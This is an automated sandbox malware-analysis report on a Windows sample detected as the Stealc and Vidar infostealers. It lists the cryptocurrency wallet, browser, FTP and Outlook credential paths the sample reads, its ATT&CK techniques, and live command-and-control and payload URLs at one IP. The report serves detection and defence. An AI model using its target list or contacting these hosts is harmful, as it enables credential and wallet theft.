Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1689855003.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6708, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpnw	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll7WXa	file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2009684418.000000000061E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1805318123.000000001D1DC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll.	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	CGCFBFBGHDGDAKECAKJE.0.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/f	file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllL	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpFBFBGHDGDAKECAKJEHq:	file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	false		unknown
http://185.215.113.37/m	file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2031181799.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2023573966.000000001D2DC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpFBFBGHDGDAKECAKJE	file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2031548731.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EHDHIDAE.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpmple-storage.json	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1805318123.000000001D1DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2009684418.0000000000677000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2028291906.0000000029273000.00000004.00000020.00020000.00000000.sdmp, CGCFBFBGHDGDAKECAKJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllr	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpnomi	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	JJJJEBGDAFHJEBGDGIJDHCAKJK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php$	file.exe, 00000000.00000002.2009684418.0000000000665000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EHDHIDAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpYw	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php)	file.exe, 00000000.00000002.2009684418.0000000000696000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528373
Start date and time:	2024-10-07 21:18:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 75 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
